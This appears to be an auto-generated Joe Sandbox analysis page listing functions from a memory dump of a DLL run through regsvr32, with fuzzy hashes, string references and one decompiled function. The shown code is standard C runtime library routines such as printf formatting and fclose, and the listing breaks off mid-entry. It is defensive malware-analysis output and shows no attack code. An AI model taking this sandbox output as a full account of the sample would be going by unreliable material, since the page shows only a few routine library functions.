Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3717698799
Opcode ID: 1aafbfe16f86ccf21253850ca152cd04a8ee8357f57b5e583563c43112fb4b7a
Instruction ID: b28b411edc77ea5f57a42c4ce070c51137fe1cd7001121a3be123fc4e483bd38
Opcode Fuzzy Hash: 1aafbfe16f86ccf21253850ca152cd04a8ee8357f57b5e583563c43112fb4b7a
Instruction Fuzzy Hash: FC810D32A1DB8686DAB08B29E84476E73E0F385765F204225E6ED437E9DF3DD445CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C719 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D3C719(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t212;
				signed char _t217;
				intOrPtr _t252;
				signed int _t327;
				signed int _t328;
				signed long long _t331;
				intOrPtr* _t354;
				signed long long _t379;

				_t327 = __rax;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t327;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t327;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t328 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t328;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t331 = _a824;
				_a832 = _t331;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t331;
				if (_a116 >= 0) goto 0xf9d3c8d8;
				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t212 = _a116;
				_a116 = _a116 - 1;
				if (_t212 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t212 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t217 = _a816 + _a708;
				_a816 = _t217;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t217;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t252 = _a1060;
				_a876 = _t252;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t354 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t354;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t252 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t354 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t379, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c719
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C

Strings

', xrefs: 000007FEF9D3C719
9, xrefs: 000007FEF9D3C98F
0, xrefs: 000007FEF9D3C739

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: '$0$9
API String ID: 1967237116-269856862
Opcode ID: 83c439eea7fc9ce93bcb821b911d608e7d80de2d13083439c5735137d4fc31ad
Instruction ID: b3eda79bc04a60fb7ee4a4011f7c31915f3bf9e4e3688118cbdbb277fe6e384d
Opcode Fuzzy Hash: 83c439eea7fc9ce93bcb821b911d608e7d80de2d13083439c5735137d4fc31ad
Instruction Fuzzy Hash: 0D41B47260DAC187E7B58B19E8957AEB7E4F385791F100125EAC886B98DB7DE640CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35260 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

_CreateFrameInfo.LIBCMTD ref: 000007FEF9D35342
_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D353DC
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D35433

Strings

csm, xrefs: 000007FEF9D353ED

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Frame$CreateDestroyedExceptionFindInfoObjectUnlink
String ID: csm
API String ID: 2005287440-1018135373
Opcode ID: 4c556ceed80f2aba1954f9041ed191ad0fbab56fa1f8ad9f2457e70616e7d401
Instruction ID: 0432dbe60f42fc154ce83aeddd16286c3d94edaaa77ff7db33c77853d76fe5a2
Opcode Fuzzy Hash: 4c556ceed80f2aba1954f9041ed191ad0fbab56fa1f8ad9f2457e70616e7d401
Instruction Fuzzy Hash: FB51A836608B8682DAA09B1AF49076E77E0F3C4B91F615125EBCD47BB5DF3AD444CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28040 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

__initmbctable.LIBCMT ref: 000007FEF9D28056
GetModuleFileNameA.KERNEL32 ref: 000007FEF9D28071

Strings

C:\Windows\System32\regsvr32.exe, xrefs: 000007FEF9D28068, 000007FEF9D28077, 000007FEF9D280A9
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdargv.c, xrefs: 000007FEF9D2813C

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FileModuleName__initmbctable
String ID: C:\Windows\System32\regsvr32.exe$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdargv.c
API String ID: 3548084100-1254873407
Opcode ID: d38f4fd9cb9ecdd73cd32345429acc70b773e7a180fa8c1b1693dc69edd9f2e5
Instruction ID: 40487cdd99e7390fc7cfa00da240fffb72a0e4e16c6d4a8cb9187a6270b67cf4
Opcode Fuzzy Hash: d38f4fd9cb9ecdd73cd32345429acc70b773e7a180fa8c1b1693dc69edd9f2e5
Instruction Fuzzy Hash: 09410C21A19A8281EA90CB19EC8136E77A0F7857A5F614626E6EE43BF4DF3ED144C701

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D328E8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32A56

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32A07, 000007FEF9D32A41
_vsnprintf_s_l, xrefs: 000007FEF9D32A48
("Buffer too small", 0), xrefs: 000007FEF9D329F2, 000007FEF9D32A4F

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3717698799
Opcode ID: 65def78894184635a726d36e54dfff1a0241531dd31d36ef72262bf6a1fca492
Instruction ID: db9b60f6e9b20c9f37adeee518bf084cd0881f5c38580f5bd04c1ce4cfd39116
Opcode Fuzzy Hash: 65def78894184635a726d36e54dfff1a0241531dd31d36ef72262bf6a1fca492
Instruction Fuzzy Hash: 49412931E1C7868AEAB08B24E84476E62E0F385365F604335D6ED427E5CB3EE444CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27816 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

_calloc_dbg.LIBCMTD ref: 000007FEF9D27858

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

GetFileType.KERNEL32 ref: 000007FEF9D27A24
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000007FEF9D27AA5

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c, xrefs: 000007FEF9D27841

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CountCriticalFileInitializeSectionSpinType_calloc_dbg_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c
API String ID: 2306298712-3864165772
Opcode ID: 6db4822cd77f1ed37bef3fea8eb09d36478b9c501087b185a6ab49f69a42b384
Instruction ID: b637de57708ed2c7d115ffe7a667dd769ed1fe34c6e506efeb830bf347bff847
Opcode Fuzzy Hash: 6db4822cd77f1ed37bef3fea8eb09d36478b9c501087b185a6ab49f69a42b384
Instruction Fuzzy Hash: D8313D32609BC585E7B08B19E84076EB3E1F385764F618225CAED877E4DB3DE405CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37F0E Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3806E

Strings

bufferSize <= INT_MAX, xrefs: 000007FEF9D3800A, 000007FEF9D38067
_wcstombs_s_l, xrefs: 000007FEF9D38060
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3801F, 000007FEF9D38059

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c
API String ID: 2123368286-2562677240
Opcode ID: dabd10d16ebe11174fc63b9f89b539a3b240949ad9ffb505f617c08bbd3ff20b
Instruction ID: c85490607768c44f9eb9442c12c0ad7794bb5914cb74fa2bef1d73063ee62390
Opcode Fuzzy Hash: dabd10d16ebe11174fc63b9f89b539a3b240949ad9ffb505f617c08bbd3ff20b
Instruction Fuzzy Hash: 67311632A0DB8685EAB09B15E8407AEB7E1F385390F204625D6DD43BE8DB7ED444CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40680 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D4071E

Part of subcall function 000007FEF9D3AFB0: _invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

Part of subcall function 000007FEF9D40A20: __doserrno.LIBCMTD ref: 000007FEF9D40A33

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c, xrefs: 000007FEF9D406CF, 000007FEF9D40709
(str != NULL), xrefs: 000007FEF9D406BA, 000007FEF9D40717
_fclose_nolock, xrefs: 000007FEF9D40710

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter$__doserrno
String ID: (str != NULL)$_fclose_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c
API String ID: 1181141450-2845860089
Opcode ID: 7bab6b588e6dd2839569b0ca5fa95970036134ebeeb6453b58b8f029525d0fe5
Instruction ID: a2d3a4357c877c10dbeba88c1570b3bcf2b7b0db3c51835aaf51b50bd6ce4727
Opcode Fuzzy Hash: 7bab6b588e6dd2839569b0ca5fa95970036134ebeeb6453b58b8f029525d0fe5
Instruction Fuzzy Hash: 25316D36A28A4286E7909B19E88476E77E0F380794F205125F6CE477F5CB7ED841CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3AB10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3ABCD

Strings

(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3AB69, 000007FEF9D3ABC6
_isatty, xrefs: 000007FEF9D3ABBF
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isatty.c, xrefs: 000007FEF9D3AB7E, 000007FEF9D3ABB8

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_isatty$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isatty.c
API String ID: 2123368286-160817255
Opcode ID: 20bce409a33f2d52ae5b3246709d5cabe66b407105c41d1953a7685d10f1773e
Instruction ID: f81691e69628683e8e3df4f52d5e63bc79cedec177f2501b48199eede19b8a9f
Opcode Fuzzy Hash: 20bce409a33f2d52ae5b3246709d5cabe66b407105c41d1953a7685d10f1773e
Instruction Fuzzy Hash: 7E218E71B2D6428AE7D89B24EC8476DB3E1F390395F609635E1DE476E4D77ED4018B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40580 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D4061E

Strings

(stream != NULL), xrefs: 000007FEF9D405BA, 000007FEF9D40617
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c, xrefs: 000007FEF9D405CF, 000007FEF9D40609
fclose, xrefs: 000007FEF9D40610

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (stream != NULL)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c$fclose
API String ID: 2123368286-3409824857
Opcode ID: b4902cc461c388e31b4dcd0307079e4da2555ab755984697fa072277fbec1f80
Instruction ID: aea6e50ad225ee654e5ba897f2371f9ab8692fab447ee5272478533351973a17
Opcode Fuzzy Hash: b4902cc461c388e31b4dcd0307079e4da2555ab755984697fa072277fbec1f80
Instruction Fuzzy Hash: 69214C72A2D64286EB909F58E84476EB7E0F380394F605125E6CE47AE4CBBED444CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2C170 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D2C20A

Strings

(unsigned)(c + 1) <= 256, xrefs: 000007FEF9D2C19E
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isctype.c, xrefs: 000007FEF9D2C1B3

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_
String ID: (unsigned)(c + 1) <= 256$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isctype.c
API String ID: 1901436342-3621827421
Opcode ID: 582f87e7669c1111abee6c616077222c15a1b9b573b43815cbd7bd4630f6c99c
Instruction ID: b6da7cfe51097e189ae1413993ad3b1820e6f9d9ec5e09c8ec6feaf0c9b902cc
Opcode Fuzzy Hash: 582f87e7669c1111abee6c616077222c15a1b9b573b43815cbd7bd4630f6c99c
Instruction Fuzzy Hash: 6D210132918A8186E790DB64E8516AEB7E0F7C4780F614122E7CD83AB9DB7DD954CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32C9F Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 48COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32D62

Strings

